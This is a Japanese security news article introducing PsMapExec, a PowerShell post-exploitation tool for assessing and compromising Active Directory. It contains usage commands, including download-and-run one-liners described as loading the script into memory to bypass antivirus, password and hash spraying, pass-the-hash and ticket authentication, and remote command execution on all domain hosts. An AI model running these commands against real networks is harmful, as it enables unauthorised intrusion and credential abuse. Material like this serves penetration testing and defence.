PsMapExec というポスト・エクスプロイト・ツール:Active Directory 環境の評価に活用

PsMapExec: Active Directory post-exploitation tool

2023/12/21 SecurityOnline — 人気ツール CrackMapExec に、強くインスパイアされた PowerShell ツールがある。私の場合だと、Linux にアクセスすることは少なく、また、この CrackMapExec を使用する機会が、あまりにも頻繁にある。PsMapExec は、Active Directory 環境を評価し、侵害するためのポスト・エクスプロイト・ツールとして使用できるものだ。

どのような手法をサポートしているのか?

現時点でサポートされているメソッド (プロトコル)

  • RDP
  • セッションハンター
  • SMB
  • SMB署名
  • スプレー (ハッシュ/パスワード/EmptyPassword/AccountAsPassword)
  • VNC
  • WinRM
  • WMI

計画中のメソッド

  • MSSQL (テスト中)
  • IPMI
  • SNMP (テスト中)
  • FTP
  • SSH
使用方法
スクリプトをダイレクトにメモリにロード (AV をバイパス)

IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1”);IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1”)

スクリプトをダイレクトにメモリにロード

IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1”)

ターゲットの取得

PsMapExec によるターゲットの取得では、ADSI (Active Directory Services Interfaces) Searcher を利用する。ドメイン・ユーザー・アカウントとしてドメイン結合システムから操作している限り、ターゲットを取得する際に問題は発生しない。デフォルトでは、有効な Active Directory コンピュータ・アカウントのみがターゲット・リストに入力される。PsMapExec は、-Domain が指定されない限り、Domain をカレント・ユーザー・ドメインに設定する。IP アドレスの指定とファイルからのターゲットは。現時点ではサポートされていない。現在は、開発中の機能である。

# Grabs all workstations, servers and domain controllers within the domain
PsMapExec -Targets All

# Grabs all workstations, servers and domain controllers on the specified domain
PsMapExec -Targets All -Domain [Domain]

# Grabs only servers from the domain
PsMapExec -Targets Servers

# Grabs only Domain Controllers from the domain
PsMapExec -Targets DCs

# Grabs only workstations from the domain
PsMapExec -Targets Workstations

# Set the target values to a defined computer name
PsMapExec -Targets DC01.Security.local
認証タイプ

-Command と -Module が省略されている場合には、PsMapExec は指定されたメソッドを用いて、管理者アクセス用に指定されたターゲットシステムに提供された、カレント・ユーザーの認証情報を単純にチェックする。

# Current user
PsMapExec -Targets All -Method [Method]

# With Password
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# With Hash
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]

# With Ticket
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Local Authentication (WMI only)
PsMapExec -Targets All -Method WMI -LocalAuth
コマンド実行

現時点でサポートされている、すべてのコマンド実行メソッドは、-Command パラメータをサポートしている。この Command パラメータを上記の Authentication Type に追加することで、指定したユーザまたはカレント・ユーザーとして、コマンドを実行できる。

PsMapExec -Targets All -Method [Method] -Command [Command].

モジュール実行

現時点でサポートされている、すべてのコマンド実行メソッドは、-Module パラメータをサポートしている。この Module パラメータを Authentication Types に追加することで、指定されたモジュールを指定されたユーザーもしくは、カレント・ユーザーとして実行できる。